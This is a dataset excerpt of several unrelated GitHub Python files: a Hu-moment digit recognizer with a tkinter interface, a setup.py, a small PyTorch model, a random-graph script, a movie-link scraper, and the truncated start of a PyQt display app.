color_map[im[i][j],1]\n color_im[i][j][2] = color_map[im[i][j],2]\n\n\n return im\n\n #Finding the amount of labels (characters / numbers) in a given image\n def findLabelAmount(bim, im):\n nrow = bim.shape[0]\n ncol = bim.shape[1]\n\n list = [] #will be used to store labels\n\n #finding the number of labels\n counter = -1\n for i in range(nrow):\n for j in range(ncol):\n if list.__contains__(im[i][j]):\n print(im[i][j])\n else:\n list.append(im[i][j])\n counter = counter + 1\n list.remove(10000)\n return counter, list\n\n #Drawing rectangles around the characters\n def drawRec(im, bim, counter, list, image):\n width, height = 4, counter\n rectangles = [[0 for x in range(width)] for y in range(height)] #will be used to store minx, miny, maxx, maxy values of the characters\n\n nrow = bim.shape[0]\n ncol = bim.shape[1]\n\n for i in range(nrow):\n for j in range(ncol):\n if list.__contains__(im[i][j]):\n index = list.index(im[i][j])\n\n if rectangles[index][0] == 0 and rectangles[index][1] == 0 and rectangles[index][2] == 0 and rectangles[index][3] == 0: #if this is the first time with the label\n rectangles[index][0] = i\n rectangles[index][1] = j\n rectangles[index][2] = i\n rectangles[index][3] = j\n else:\n if i < rectangles[index][0]:\n rectangles[index][0] = i\n if j < rectangles[index][1]:\n rectangles[index][1] = j\n if i > rectangles[index][2]:\n rectangles[index][2] = i\n if j > rectangles[index][3]:\n rectangles[index][3] = j\n\n\n #DRAWING\n source_img = Image.open(image).convert(\"RGBA\")\n draw = ImageDraw.Draw(source_img)\n\n for b in range(counter):\n draw.rectangle(((rectangles[b][1], rectangles[b][0]), (rectangles[b][3], rectangles[b][2])), fill=None,\n outline='red', width=3)\n source_img.save(\"output.png\", \"PNG\")\n\n return rectangles\n\n #Returns an array of moments of resized images -> all moments of the image\n def featureVectors(bim, rectangles, counter):\n\n arrayOfResizedImg = [] # will be used to store resized images\n\n #Resizing images\n for k in range(counter):\n\n #corners of the rectangle\n minx=rectangles[k][1]\n miny=rectangles[k][0]\n maxx=rectangles[k][3]\n maxy=rectangles[k][2]\n\n #Crop and store operations\n im1 = Image.fromarray(bim)\n im2 = im1.crop((minx,miny,maxx,maxy))\n im3 = im2.resize((21,21))\n arrayOfResizedImg.append(im3)\n\n featuresHu = [] #will be used to store the moments of resized images\n for i in range(len(arrayOfResizedImg)):\n featuresHu.append(everything.calcMomentsHu(arrayOfResizedImg[i]))\n\n return featuresHu\n\n def update_array(a, label1, label2) :\n index = lab_small = lab_large = 0\n if label1 < label2 :\n lab_small = label1\n lab_large = label2\n else :\n lab_small = label2\n lab_large = label1\n index = lab_large\n while index > 1 and a[index] != lab_small:\n if a[index] < lab_small:\n temp = index\n index = lab_small\n lab_small = a[temp]\n elif a[index] > lab_small:\n temp = a[index]\n a[index] = lab_small\n index = temp\n else: #a[index] == lab_small\n break\n return\n\n #Calculates the Hu Moment of an image\n def calcMomentsHu(image):\n f = np.asarray(image)\n nrow = f.shape[0]\n ncol = f.shape[1]\n\n rawMoments = [[0, 0], [0, 0]]\n\n for i in range(2):\n for j in range(2):\n for x in range(nrow):\n for y in range(ncol):\n rawMoments[i][j] += pow(x, i) * pow(y, j) * f[x][y]\n\n\n centralMoments = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]\n x_bar = rawMoments[1][0] / rawMoments[0][0]\n y_bar = rawMoments[0][1] / rawMoments[0][0]\n\n for i in range(4):\n for j in range(4):\n for x in range(nrow):\n for y in range(ncol):\n centralMoments[i][j] += pow(x - x_bar, i) * pow(y - y_bar, j) * f[x][y]\n\n\n scaleInvariants = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]\n for i in range(4):\n for j in range(4):\n for x in range(nrow):\n for y in range(ncol):\n scaleInvariants[i][j] = centralMoments[i][j] / pow(centralMoments[0][0], (1 + ((i + j) / 2)))\n\n H1 = scaleInvariants[2][0] + scaleInvariants[0][2]\n H2 = pow((scaleInvariants[2][0] - scaleInvariants[0][2]), 2) + (4 * pow((scaleInvariants[1][1]), 2))\n H3 = pow((scaleInvariants[3][0] - (3 * scaleInvariants[1][2])), 2) + pow(((3 * scaleInvariants[2][1]) - scaleInvariants[0][3]), 2)\n H4 = pow((scaleInvariants[3][0] + scaleInvariants[1][2]), 2) + pow((scaleInvariants[2][1] + scaleInvariants[0][3]), 2)\n H5 = (scaleInvariants[3][0] - (3 * scaleInvariants[1][2])) * ((scaleInvariants[3][0] + scaleInvariants[1][2])) * \\\n ((pow((scaleInvariants[3][0] + scaleInvariants[1][2]), 2)) - (3 * (pow((scaleInvariants[2][1] + scaleInvariants[0][3]), 2)))) + \\\n ((3 * scaleInvariants[2][1]) - scaleInvariants[0][3]) * (scaleInvariants[2][1] + scaleInvariants[0][3]) * \\\n ((3 * (pow((scaleInvariants[3][0] + scaleInvariants[1][2]), 2))) - pow((scaleInvariants[2][1] + scaleInvariants[0][3]), 2))\n H6 = (scaleInvariants[2][0] - scaleInvariants[0][2]) * (pow((scaleInvariants[3][0] + scaleInvariants[1][2]), 2) - pow((scaleInvariants[2][1] + scaleInvariants[0][3]), 2)) + (4 * scaleInvariants[1][1]) * (scaleInvariants[3][0] + scaleInvariants[1][2]) * (scaleInvariants[2][1] + scaleInvariants[0][3])\n\n H7 = (((3 * scaleInvariants[2][1]) - scaleInvariants[0][3]) * (scaleInvariants[3][0] + scaleInvariants[1][2]) * (pow((scaleInvariants[3][0] + scaleInvariants[1][2]), 2) - (3 * pow(scaleInvariants[2][1] + scaleInvariants[0][3], 2))) - \\\n ((scaleInvariants[3][0] - (3 * scaleInvariants[1][2]))) * (scaleInvariants[2][1] + scaleInvariants[0][3]) * ((3 * pow((scaleInvariants[3][0] + scaleInvariants[1][2]), 2)) - ((pow((scaleInvariants[2][1] + scaleInvariants[0][3]), 2)))))\n\n\n #taking the log -> to be able to have a more correct match\n H1 = -1 * math.copysign(1.0, H1) * math.log10(abs(H1))\n H2 = -1 * math.copysign(1.0, H2) * math.log10(abs(H2))\n H3 = -1 * math.copysign(1.0, H3) * math.log10(abs(H3))\n H4 = -1 * math.copysign(1.0, H4) * math.log10(abs(H4))\n H5 = -1 * math.copysign(1.0, H5) * math.log10(abs(H5))\n H6 = -1 * math.copysign(1.0, H6) * math.log10(abs(H6))\n H7 = -1 * math.copysign(1.0, H7) * math.log10(abs(H7))\n\n return [H1,H2,H3,H4,H5,H6,H7]\n\n #Calculates the R Moment of an image\n def calcMomentsR(image):\n huMom = everything.calcMomentsHu(image)\n R1 = (pow(huMom[1], (1/2))) / (huMom[0])\n R2 = (huMom[0] + (pow(huMom[1], (1/2)))) / (huMom[0] - (pow(huMom[1], (1/2))))\n R3 = (pow(huMom[2], (1/2))) / (pow(huMom[3], (1/2)))\n R4 = (pow(huMom[2], (1/2))) / pow(abs(huMom[4]), (1/2))\n R5 = (pow(huMom[3], (1/2))) / pow(abs(huMom[4]), (1/2))\n R6 = abs(huMom[5]) / (huMom[0] * huMom[2])\n R7 = abs(huMom[5]) / (huMom[0] * (pow(abs(huMom[4]), (1/2))))\n R8 = abs(huMom[5]) / (huMom[2] * (pow(huMom[1], (1/2))))\n R9 = abs(huMom[5]) / pow((huMom[1] * abs(huMom[4])), (1/2))\n R10 = abs(huMom[4]) / (huMom[2] * huMom[3])\n\n return [R1, R2, R3, R4, R5, R6, R7, R8, R9, R10]\n\n #Finds the minimum value in a given array -> returns the index of that value\n def findMin(array):\n min = array[0]\n for i in range(len(array)):\n if array[i] < min:\n min = array[i]\n return (array.index(min))\n\n #Saves a given image as an array into a file\n def saveFile(image):\n moments = everything.findAllFeatureVectors(image) # calculating the moments of a given image\n fileName = image[0:-4] #determining the file name\n np.save(fileName, moments) #saving it as a file with the name of that image\n return fileName + \".npy\" #returns the name of the file\n\n fileNames = [] #will store the files that are being used to train the program\n\n #Saves the moments of multiple images into files -> returns an array of file names\n def saveFiles(*args):\n for i in args:\n everything.fileNames.append(everything.saveFile(i))\n return everything.fileNames # returns an array of file names\n\n #Compares the moments of two images (in this case one of them is a traine image's moments and the other one is input image's moments\n def comparisonForOne(inputMom, trainMom):\n\n allDistances = [] #all character's distances to all train characters\n matches = [] #match values\n disFor1 = [] #one input character's distances to all train characters\n\n for i in range(len(inputMom)): #going through the input characters\n for j in range(len(trainMom)): #going through the train characters (0, 1, 2, 3, 4, 5, 6, 7, 8, 9)\n d1 = pow((inputMom[i][0] - trainMom[j][0]), 2)\n d2 = pow((inputMom[i][1] - trainMom[j][1]), 2)\n d3 = pow((inputMom[i][2] - trainMom[j][2]), 2)\n d4 = pow((inputMom[i][3] - trainMom[j][3]), 2)\n d5 = pow((inputMom[i][4] - trainMom[j][4]), 2)\n d6 = pow((inputMom[i][5] - trainMom[j][5]), 2)\n d7 = pow((inputMom[i][6] - trainMom[j][6]), 2)\n\n distance = pow((d1 + d2 + d3 + d4 + d5 + d6 + d7), (1/2)) # 1 input character's distance to 1 train character\n disFor1.append(distance) # 1 input character's distances to all train characters\n\n allDistances.append(disFor1)\n disFor1 = []\n\n for m in range(len(allDistances)):\n matches.append(everything.findMin(allDistances[m]))\n\n return matches #returns the match values of all input characters\n\n #Finds & returns the most frequent number in a given list\n def findMostFrequent(list):\n counter = 0\n mostFreq = list[0]\n\n for i in list: #go through the given list\n current_frequency = list.count(i) #count the number of occurrences of each i in the list\n if(current_frequency > counter): # if it is more frequent than what we have\n counter = current_frequency # set it as the new 'most frequent'\n mostFreq = i\n\n return mostFreq\n\n #Compares the characters of a given image with all of the train images\n def comparisonForAll(image, fileNames): #takes an image to process and an array of files with train image's moments\n allMatches = []\n inputMom = everything.findAllFeatureVectors(image)\n finalMatches = [] #matched characters for all characters of the given image\n\n for i in fileNames: #for every train image\n realMom = np.load(i) #loading the train moments into array\n matchesForOne = everything.comparisonForOne(inputMom, realMom) #all character's match to one font (one train image)\n allMatches.append(matchesForOne) #collecting all the matches\n\n transposedNP = np.asarray(allMatches).transpose() #taking the transposed version of allMatches array to itare it properly\n transposed = transposedNP.tolist() #taking np array as a list\n\n for j in range(len(transposed)):\n finalMatches.append(everything.findMostFrequent(transposed[j]))\n\n return finalMatches\n\n #Calculates the feature vectors of an image an returns it as a 2d array\n def findAllFeatureVectors(input_img):\n img = Image.open(input_img) # image to process\n\n img_gray = img.convert('L') # converts the image to grayscale image\n ONE = 150\n a = np.asarray(img_gray) # from PIL to np array\n a_bin = everything.threshold(a, 150, ONE, 0)\n im = Image.fromarray(a_bin) # from np array to PIL format\n a_bin = np.asarray(im)\n\n image_name = input_img\n imO = everything.label_8_connected(a_bin, ONE)\n counterO, listO = everything.findLabelAmount(a_bin, imO)\n rectanglesO = everything.drawRec(imO, a_bin, counterO, listO, image_name)\n featuresHuO = everything.featureVectors(a_bin, rectanglesO, counterO)\n\n return featuresHuO\n\n #Writing the final match values on image\n #takes an image to write on, takes what to write, takes xs and ys\n def addText(image, finalMatches, rectangles):\n source_img = Image.open(image).convert(\"RGBA\")\n draw = ImageDraw.Draw(source_img)\n fnt = ImageFont.truetype('/Library/Fonts/Helvetica.ttc', 20)\n\n #go through final matches\n for j in range(len(finalMatches)):\n minx = rectangles[j][1]\n miny = rectangles[j][0]\n draw.text((minx + 30 ,miny - 30), str(finalMatches[j]), font=fnt, fill='red')\n source_img.save(\"output1.png\", \"PNG\")\n source_img.show()\n\n # Matches the numbers in the given image\n def matchNumbers(input_img, fileNames):\n img = Image.open(input_img) # image to process\n\n img_gray = img.convert('L') # converts the image to grayscale image\n ONE = 150\n a = np.asarray(img_gray) # from PIL to np array\n a_bin = everything.threshold(a, 150, ONE, 0)\n im = Image.fromarray(a_bin) # from np array to PIL format\n a_bin = np.asarray(im)\n\n image_name = input_img\n imO = everything.label_8_connected(a_bin, ONE)\n counterO, listO = everything.findLabelAmount(a_bin, imO)\n rectanglesO = everything.drawRec(imO, a_bin, counterO, listO, image_name)\n featuresHuO = everything.featureVectors(a_bin, rectanglesO, counterO)\n finalMatchesO = everything.comparisonForAll(input_img, fileNames)\n everything.addText('output.png', finalMatchesO, rectanglesO)\n\n##################################### USER INTERFACE #####################################\n\nroot = tk.Tk() #creates window\nwarningLabel2 = tk.Label(root, text=\"This program can be used to define numbers in a given image.\")\nwarningLabel2.pack()\nwarningLabel = tk.Label(root, text=\"When you are training the program, please make sure that you are training the program with the right kind of font.\\nAdding fonts that are too diversed might lower the correctness of the program.\")\nwarningLabel.pack()\n\n#Adds a train image to use for comparison\ndef TrainClicked(event):\n\n# selecting an image\n root.filename = filedialog.askopenfilename(initialdir=\"/\", title=\"Select file\",\n filetypes=((\"png files\", \"*.png\"), (\"all files\", \"*.*\")))\n img = root.filename\n everything.saveFiles(img)\n\n messagebox.showinfo(\" \", \"Train image added.\")\n print(everything.fileNames)\n\n#Finds the numbers in a given image\ndef FindNumbersClicked(event):\n\n # selecting image\n root.filename = filedialog.askopenfilename(initialdir=\"/\", title=\"Select file\",\n filetypes=((\"png files\", \"*.png\"), (\"all files\", \"*.*\")))\n img = root.filename\n\n everything.matchNumbers(img, everything.fileNames)\n\n#BUTTONS\nTrainButton = tk.Button(root, text =\"Train\", highlightbackground='#3E4149')\nTrainButton.bind(\"\", TrainClicked)\nTrainButton.pack()\n\nFindNumbersButton = tk.Button(root, text=\"Load an Image\", highlightbackground='#3E4149')\nFindNumbersButton.bind(\"\", FindNumbersClicked)\nFindNumbersButton.pack()\n\nroot.mainloop()\n", "repo_name": "pinarhaskiris/Programming-Studio-Project", "sub_path": "Project 1/everything.py", "file_name": "everything.py", "file_ext": "py", "file_size_in_byte": 20850, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.indices", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.fmax", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 37, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 37, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 42, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 193, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 193, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 194, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 194, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 218, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 218, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 253, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 299, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 299, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 300, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 300, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 301, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 301, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 302, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 302, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 303, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 303, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 304, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 304, "usage_type": "call"}, {"api_name": "math.copysign", "line_number": 305, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 337, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 400, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 410, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 410, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 414, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 416, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 416, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 417, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 430, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 430, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 431, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 431, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 432, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 432, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 444, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 444, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 448, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 450, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 450, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 451, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 463, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 464, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 466, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 473, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 473, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 478, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 478, "usage_type": "name"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 485, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 485, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 492, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 496, "usage_type": "call"}]} +{"seq_id": "70267571528", "text": "import setuptools\n\nwith open('README.md', 'r') as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name='ais-wordnet-sim',\n version='2.0.0',\n author='Tan Nguyen',\n author_email='livw08@gmail.com',\n description='AIS Wordnet tool',\n long_description=long_description,\n long_description_content_type='text/markdown',\n url=\"https://https://github.com/liv1n9/ais-wordnet-sim\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: MIT License\",\n ],\n install_requires=[\n 'underthesea',\n 'pymongo',\n 'dnspython',\n 'xlrd'\n ]\n)", "repo_name": "liv1n9/ais-wordnet-sim", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 724, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "setuptools.setup", "line_number": 6, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "21411235238", "text": "import torch\nimport torch.nn as nn\n\nclass Net(nn.Module):\n def __init__(\n self, input_size=768, number_params=7,\n ):\n super().__init__()\n self.classifier = nn.Sequential(\n nn.Linear(input_size, 512),\n nn.ReLU(),\n nn.Linear(512, 256),\n nn.ReLU(),\n nn.Linear(256, 128),\n nn.ReLU(),\n nn.Linear(128, number_params),\n )\n def forward(self, x):\n x = self.classifier(x)\n return x\n\n# import torch\n# import torch.nn as nn\n# import torch.nn.functional as F\nDEVICE = (torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\"))\n\n# class Net(nn.Module):\n# def __init__(self, input_size=768, number_params=1):\n# super(Net, self).__init__()\n# # 1 input image channel, 6 output channels, 5x5 square convolution\n# # kernel\n# self.conv1 = nn.Conv2d(1, 24, 7)\n# self.conv2 = nn.Conv2d(24, 56, 7)\n# # an affine operation: y = Wx + b\n# self.fc1 = nn.Linear(168, 120) # 5*5 from image dimension\n# self.fc2 = nn.Linear(120, 84)\n# self.fc3 = nn.Linear(84, 5)\n\n# def forward(self, x):\n# # Max pooling over a (2, 2) window\n# x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))\n# # If the size is a square, you can specify with a single number\n# x = F.max_pool2d(F.relu(self.conv2(x)), 2)\n# x = torch.flatten(x, 1) # flatten all dimensions except the batch dimension\n# x = F.relu(self.fc1(x))\n# x = F.relu(self.fc2(x))\n# x = self.fc3(x)\n# return x", "repo_name": "Dannypa/MoodSongsSearch", "sub_path": "src/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 1617, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Module", "line_number": 4, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 4, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 9, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "24346590230", "text": "#!/usr/bin/env python3\n\nimport networkx as nx\nfrom random import randrange\nimport matplotlib.pyplot as plt\n\ndef genConnected(size):\n G = nx.Graph()\n for node in range(0, size):\n G.add_node(node)\n while not nx.is_connected(G):\n vi = randrange(size)\n vf = randrange(size)\n if vf not in G.adj[vi]:\n G.add_edge(vi, vf)\n return G\n\nmax_size = 100\nstep = 10\nrepetitions = 25 \n\n\nsize_list = [x for x in range(10,(max_size+1),step)]\nadded_vertices_list = [0 for x in size_list]\n#print(size_list)\n#print(added_vertices_list)\n\nfor i in range(0, len(size_list)):\n total = 0\n for j in range(0,repetitions):\n total = total + len(genConnected(size_list[i]).edges)\n added_vertices_list[i] = total/repetitions\n print(\"\\x1b[1F\" + \"Last size calculated: \" + str(size_list[i]))\n\n#print(\"Size List:\\t\" + str(size_list))\n#print(\"Added vertices:\\t\" + str(added_vertices_list))\n\nplt.plot(size_list, added_vertices_list, 'ro')\nplt.plot(size_list, added_vertices_list)\nplt.show()\n", "repo_name": "Kaixi26/UM_Aulas", "sub_path": "PERFIL_SDC/SDLE/G00/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "networkx.Graph", "line_number": 8, "usage_type": "call"}, {"api_name": "networkx.is_connected", "line_number": 11, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 12, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}]} +{"seq_id": "1419435181", "text": "import time\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nurl = \"http://www.ygdy8.com\"\n\n\ndef getDetail(detai_url):\n response = requests.get(detai_url)\n response.encoding = \"gb2312\"\n bs = BeautifulSoup(response.text, \"html.parser\")\n # name = bs.select(\"#Zoom a\")[0].text\n aaa = bs.select(\"#Zoom tbody td a\")\n xiazai = aaa[0].get(\"href\")\n return xiazai\n\ndef getMovies(url):\n res = requests.get(url)\n res.encoding = \"gb2312\"\n soup = BeautifulSoup(res.text, \"html.parser\")\n movies = soup.select(\".co_content8 table tr td a\")\n for m in movies[2::2]:\n title = m.text\n detail_href = m.attrs[\"href\"]\n detail_url = url + detail_href\n # print(title, detail_href, detail_url)\n download = getDetail(detail_url)\n movies = {\n \"电影名字\": title,\n \"电影的地址\": detail_url,\n \"电影下载地址\": download\n }\n print(movies)\n time.sleep(2)\ngetMovies(url)\n", "repo_name": "zhaoshiying123/my_library", "sub_path": "pachong/movies1.py", "file_name": "movies1.py", "file_ext": "py", "file_size_in_byte": 982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 11, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 20, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "30728572281", "text": "import sys\nfrom Trucks import Ui_Truckscreen\nfrom Fullscreen import Ui_Fullscreen\nfrom Splitscreen import Ui_Splitscreen\nfrom Shutdown import Ui_Shutdown\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtCore import QTimer, QDateTime, Qt\nfrom data import *\nfrom datetime import datetime\nimport requests\n\n\nclass Main(QtWidgets.QMainWindow):\n stop = 1\n\n def __init__(self, mode):\n super(Main, self).__init__()\n\n self.setWindowFlag(Qt.FramelessWindowHint)\n self.move(0, 0)\n\n self.mode = mode\n self.current_mode = 3\n self.hasChangedDisplayMode = True\n self.index = index\n\n self.medias = []\n self.current_medias = []\n\n self.week_start = [\"\", \"\"]\n self.stop = [\"\", \"\"]\n self.veille = True\n self.lastMedia = True\n # build ui\n self.getOption()\n self.timer = QTimer(self)\n self.timer.start(1000)\n # self.timer.start(media . duration)\n\n self.timer.timeout.connect(self.updateMode)\n self.timer.timeout.connect(self.getOption)\n self.timer.timeout.connect(self.screenBlanking)\n\n def getOption(self):\n try:\n if self.current_mode is not self.mode:\n self.hasChangedDisplayMode = True\n self.current_mode = self.mode\n if self.mode == 3:\n if self.index > 4:\n if len(self.medias) != 5:\n self.timer.start(self.medias[self.index]['duration'] * 1000 ) \n self.ui = Ui_Fullscreen(self.index) \n self.ui.setupUi(self)\n self.noMedia = True\n if self.index >= len(self.medias)- 1:\n self.index = 3\n elif self.index == 4 and self.noMedia == True:\n self.timer.start(self.medias[self.index]['duration'] * 1000 ) \n self.ui = Ui_Truckscreen()\n self.ui.setupUi(self)\n self.noMedia = False\n \n self.index = self.index +1 \n elif self.mode == 2 and self.hasChangedDisplayMode == True:\n self.ui = Ui_Fullscreen(0)\n \n elif self.mode == 1 and self.hasChangedDisplayMode == True:\n self.ui = Ui_Splitscreen()\n \n elif self.mode == 0 or self.mode == 4 and self.hasChangedDisplayMode == True:\n self.ui = Ui_Fullscreen(-1)\n\n if self.hasChangedDisplayMode and self.mode != 3:\n self.ui.setupUi(self)\n self.hasChangedDisplayMode = False\n self.noMedia = True\n \n return self.index\n except:\n print(\"cant fetch datas\")\n\n def updateMode(self):\n try:\n self.mode = int(req(\"get\", ip_mode).json()[0]['activeMode'])\n self.modeBack = int(req(\"get\", ip_mode).json()[0]['modeBack'])\n except:\n print(\"cant fetch modes\")\n try:\n self.medias = req(\"get\", ip_fs).json()\n except:\n print(\"cant fetch medias\")\n try:\n # jours de la semaine\n self.week_start = req(\"get\", ip_sb).json()[0]['start'].split(\":\")\n self.week_stop = req(\"get\", ip_sb).json()[0]['stop'].split(\":\")\n # samedi\n self.saturday_start = req(\"get\", ip_sb).json()[1]['start'].split(\":\")\n self.saturday_stop = req(\"get\", 